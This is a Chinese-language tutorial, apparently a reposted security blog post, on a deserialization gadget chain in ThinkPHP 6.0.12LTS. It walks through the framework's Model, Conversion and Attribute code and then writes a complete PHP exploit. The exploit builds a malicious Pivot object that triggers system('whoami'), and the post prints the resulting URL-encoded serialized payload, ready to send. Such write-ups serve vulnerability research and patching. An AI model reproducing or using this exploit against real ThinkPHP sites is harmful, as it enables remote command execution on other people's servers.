ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)
2022-8-4 20:50:49 Author: xz.aliyun.com(查看原文) 阅读量:88 收藏

目录结构

这里是看了w0s1np师傅的目录结构,嘻嘻.....

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
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│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
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│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
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│  └─.htaccess          用于 apache 的重写
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│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

利用链分析

众所周知,wakeup()和destruct()这两种魔术方法在反序列化中是十分重要的存在,在面对这么大量的代码时,我们可以以这两种函数为切入点,来找出反序列化漏洞。

__wakeup() //执行unserialize()时,先会调用这个函数
__destruct() //对象被销毁时调用

找到切入点之后,用seay全局查询一下那里用到了这两种魔术方法

然后就是审计代码找可以利用的点了

<?php

namespace League\Flysystem;

final class SafeStorage
{
    /**
     * @var string
     */
    private $hash;

    /**
     * @var array
     */
    protected static $safeStorage = [];

    public function __construct()
    {
        $this->hash = spl_object_hash($this);
        static::$safeStorage[$this->hash] = [];
    }

    public function storeSafely($key, $value)
    {
        static::$safeStorage[$this->hash][$key] = $value;
    }

    public function retrieveSafely($key)
    {
        if (array_key_exists($key, static::$safeStorage[$this->hash])) {
            return static::$safeStorage[$this->hash][$key];
        }
    }

    public function __destruct()
    {
        unset(static::$safeStorage[$this->hash]);
    }
}

第一个存在这个方法的是一个安全储存的部分,用于登录啥的,不存在我们要寻找的东西。

再看下一段

/**
     * Disconnect on destruction.
     */
    public function __destruct()
    {
        $this->disconnect();
    }

这一块也没啥用,这里的销毁是用于连接断开时销毁,这一块代码主要是关于适配器的,是将某个类的接口转换成客户端期望的另一个接口表示,主要的目的是兼容性 ,让原本因接口不匹配不能一起工作的两个类可以协同工作。

再看下一段

<?php

namespace League\Flysystem\Cached\Storage;

use League\Flysystem\Cached\CacheInterface;
use League\Flysystem\Util;

abstract class AbstractCache implements CacheInterface
{
    /**
     * @var bool
     */
    protected $autosave = true;

    /**
     * @var array
     */
    protected $cache = [];

    /**
     * @var array
     */
    protected $complete = [];

    /**
     * Destructor.
     */
    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }

根据文件名判断应该也是个差不多的玩意,但是只要$this->autosavefalse那么就可以调用save方法

/**
     * {@inheritdoc}
     */
    public function autosave()
    {
        if ($this->autosave) {
            $this->save();
        }
    }

没啥用继续往下看。

但是继续跟进save方法就没有相关方法了,先放在一边,我们再看下一块。

vendor\topthink\think-orm\src\Model.php中找到了比较有嫌疑的

/**
     * 析构方法
     * @access public
     */
    public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }
}

这里只要让this->lazySave为true就可以成功运行,调用save方法。跟进一下看看save方法是个啥

public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

其中这一句比较关键

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

这里只要this->isEmpty()false === $this->trigger('BeforeWrite')就会返回false

里面一个条件为真才能不直接return,也即需要两个条件:

$this->isEmpty()==false
$this->trigger('BeforeWrite')==true

第一个条件需要继续跟进isEmpty(),我们先放一下,第二个条件是当this触发BeforeWrite的结果是true

再看trigger('BeforeWrite'),位于ModelEvent类中:

protected function trigger(string $event): bool
    {
        if (!$this->withEvent) {
            return true;
        }
        .....
    }

$this->withEvent==false即可满足第二个条件,

我们跟进isEmpty()

/**
     * 判断模型是否为空
     * @access public
     * @return bool
     */
    public function isEmpty(): bool
    {
        return empty($this->data);
    }

可以看到他的作用是判断模型是否为空的,所以只要$this->data不为空就ok

$this->data!=null即可满足这个条件。

再看这一句

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

这里的意思是如果this->exists结果为true,那么就采用this->updateData(),如果不是就采用this->insertData($sequence)

/**
     * 设置数据是否存在
     * @access public
     * @param bool $exists
     * @return $this
     */
    public function exists(bool $exists = true)
    {
        $this->exists = $exists;
        return $this;
    }

这里可以看到结果是为true的,所以我们跟进updateData()

/**
     * 保存写入数据
     * @access protected
     * @return bool
     */
    protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

这里的话想要执行checkAllowFields()方法需要绕过前面的两个if判断,必须满足两个条件

$this->trigger('BeforeUpdate')==true
$data!=null

第一个条件上面已经满足了,只要关注让data不等于null就可以了

找找data的来源,跟进getChangedData()方法,在/vendor/topthink/think-orm/src/model/concern/Attribute.php

/**
     * 获取变化的数据 并排除只读数据
     * @access public
     * @return array
     */
    public function getChangedData(): array
    {
        $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
            if ((empty($a) || empty($b)) && $a !== $b) {
                return 1;
            }

            return is_object($a) || $a != $b ? 1 : 0;
        });

        // 只读字段不允许更新
        foreach ($this->readonly as $key => $field) {
            if (array_key_exists($field, $data)) {
                unset($data[$field]);
            }
        }

        return $data;
    }
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b)

这一句如果this->force结果为true,那么便执行this->data,如果不是那么就会执行array_udiff_assoc($this->data, $this->origin, function ($a, $b)

但因为force没定义默认为null,所以进入了第二种情况,由于$this->data, $this->origin默认也不为null,所以不符合第一个if判断,最终$data=0,也即满足前面所提的第二个条件,$data!=null

然后回到checkAllowFields()方法,查看一下他是如何调用的。

/**
     * 检查数据是否允许写入
     * @access protected
     * @return array
     */
    protected function checkAllowFields(): array
    {
        // 检测字段
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $query = $this->db();
                $table = $this->table ? $this->table . $this->suffix : $query->getTable();

                $this->field = $query->getConnection()->getTableFields($table);
            }

            return $this->field;
        }

        $field = $this->field;

        if ($this->autoWriteTimestamp) {
            array_push($field, $this->createTime, $this->updateTime);
        }

        if (!empty($this->disuse)) {
            // 废弃字段
            $field = array_diff($field, $this->disuse);
        }

        return $field;
    }

这里在第10-15行代码中可以看到,如果想进入宗福拼接操作,就需要进入else中,所以我们要使$this->field = array_keys(array_merge($this->schema, $this->jsonType));不成立,那么就需要让$this->field=null$this->schema=null

在第14行中出现了$this->table . $this->suffix这一字符串拼接,存在可控属性的字符拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。所以可以找一个有__tostring方法的类做跳板,寻找__tostring

/vendor/topthink/think-orm/src/model/concern/Conversion.php中找到了

/**
     * 转换当前模型对象为JSON字符串
     * @access public
     * @param  integer $options json参数
     * @return string
     */
    public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
        return json_encode($this->toArray(), $options);
    }

    public function __toString()
    {
        return $this->toJson();
    }

看来使需要使用toJson(),跟进一下

没找到相关,再看一眼代码,发现第九行中调用了toArray()方法,然后以json格式返回

那我们再看看toArray()方法

public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);

根据第34行和第44行,第34行是遍历给定的数组语句data数组。每次循环中,当前单元的之被赋给val并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元),同时当前单元的键名也会在每次循环中被赋给变量key。第44行是将valkey相关联起来,漏洞方法是getAtrr触发,只需把$data设为数组就行。

在第47和49行中存在getAttr方法,那触发条件是啥呢?

$this->visible[$key]需要存在,而$key来自$data的键名,$data又来自$this->data,即$this->data必须有一个键名传给$this->visible,然后把键名$key传给getAttr方法,那岂不是默认就能触发...?

跟进getAttr方法,vendor/topthink/think-orm/src/model/concern/Attribute.php

/**
     * 获取器 获取数据对象的值
     * @access public
     * @param  string $name 名称
     * @return mixed
     * @throws InvalidArgumentException
     */
    public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);
    }

在第18行中可以看到漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。

那就进一步跟进getData方法

/**
     * 获取当前对象数据 如果不存在指定字段返回false
     * @access public
     * @param  string $name 字段名 留空获取全部
     * @return mixed
     * @throws InvalidArgumentException
     */
    public function getData(string $name = null)
    {
        if (is_null($name)) {
            return $this->data;
        }

        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->data)) {
            return $this->data[$fieldName];
        } elseif (array_key_exists($fieldName, $this->relation)) {
            return $this->relation[$fieldName];
        }

        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

可以看到$this->data是可控的(第16行),而其中的$fieldName来自getRealFieldName方法。

跟进getRealFieldName方法

/**
     * 获取实际的字段名
     * @access protected
     * @param  string $name 字段名
     * @return string
     */
    protected function getRealFieldName(string $name): string
    {
        if ($this->convertNameToCamel || !$this->strict) {
            return Str::snake($name);
        }

        return $name;
    }

$this->stricttrue时直接返回$name,即键名$key

返回getData方法,此时$fieldName=$key,进入if语句,返回$this->data[$key],再回到getAttr方法,

return $this->getValue($name, $value, $relation);

即返回

return $this->getValue($name, $this->data[$key], $relation);

跟进getValue方法

/**
     * 获取经过获取器处理后的数据对象的值
     * @access protected
     * @param  string      $name 字段名称
     * @param  mixed       $value 字段值
     * @param  bool|string $relation 是否为关联属性或者关联名
     * @return mixed
     * @throws InvalidArgumentException
     */
    protected function getValue(string $name, $value, $relation = false)
    {
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->get)) {
            return $this->get[$fieldName];
        }

        $method = 'get' . Str::studly($name) . 'Attr';
        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            } else {
                $closure = $this->withAttr[$fieldName];
                if ($closure instanceof \Closure) {
                    $value = $closure($value, $this->data);
                }
            }
        } elseif (method_exists($this, $method)) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

第30行中,如果我们让$closure为我们想执行的函数名,$value$this->data为参数即可实现任意函数执行。

所以需要查看$closure属性是否可控,跟进getRealFieldName方法,

protected function getRealFieldName(string $name): string
    {
        if ($this->convertNameToCamel || !$this->strict) {
            return Str::snake($name);
        }

如果让$this->strict==true,即可让$$fieldName等于传入的参数$name,即开始的$this->data[$key]的键值$key,可控

又因为$this->withAttr数组可控,所以,$closure可控·,值为$this->withAttr[$key],参数就是$this->data,即$data的键值,

所以我们需要控制的参数:

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

EXP编写

捋一下

链子太长了,重新捋一下参数的传递过程,要不就懵了,倒着捋慢慢往前分析

先看__toString()的触发

Conversion::__toString()
Conversion::toJson()
Conversion::toArray() //出现 $this->data 参数
Attribute::getAttr()
Attribute::getValue() //出现 $this->json 和 $this->withAttr 参数
Attribute::getJsonValue() // 造成RCE漏洞

首先出现参数可控的点在Conversion::toArray()中(第二行),在这里如果控制$this->data=['whoami'=>['whoami']],那么经过foreach遍历(第四行),传入Attribute::getAttr()函数的$key也就是whoami(19行)

// 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);

然后在Attribute::getAttr()函数中,通过getData()函数从$this->data中拿到了数组中的value后返回

public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);
    }

getData()返回的是数组中相应的value,所以第5行的$this->getData($name)也就是$this->getData($value=['whoami'])

Attribute::getValue()函数中对withAttrjson参数进行了验证

$method = 'get' . Str::studly($name) . 'Attr';
        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }

            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            } else {

第2行的if语句中需要$this->withAttr[$fieldName]存在的同时需要是一个数组,$this->withAttr['whoami'=>['system']]

第7行if语句中中是判断$fieldName是否在$this->json中,即in_array($fieldName, $this->json),所以只需要$this->json=['whoami']

接下来分析一下__destruct()的触发过程

Model::__destruct()
Model::save()
Model::updateData()
Model::checkAllowFields()
Model::db() // 触发 __toString()

首先在Model::__destruct()$this->lazySave需要为true,参数可控

public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }
}

$this->lazySave=true

然后在Model::save() 需要绕过isEmpty()$this->exists参数

// 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
            return false;
        }

第4行的$this->trigger('BeforeWrite')是默认为true的,所以只要$this->data不为空即可

第8行中如果this->exists结果为true,那么就采用this->updateData(),如果不是就采用this->insertData($sequence)所以我们需要让this->exists结果为true

那么最后就是Model::db()方法,保证$this->table能触发__toString()(第八行)

public function db($scope = []): Query
    {
        /** @var Query $query */
        $query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);
        if (!empty($this->table)) {
            $query->table($this->table . $this->suffix);
        }

编写

首先Model类是一个抽象类,不能实例化,所以要想利用,得找出 Model 类的一个子类进行实例化,而且use了刚才__toString 利用过程中使用的接口ConversionAttribute,所以关键字可以直接用

将上面捋出来的需要的属性全部重新编写

<?php

// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

全局搜索extends Model,找到一个Pivot类继承了Model

<?php

// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {

    }

    // 实例化
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

文章来源: https://xz.aliyun.com/t/11584
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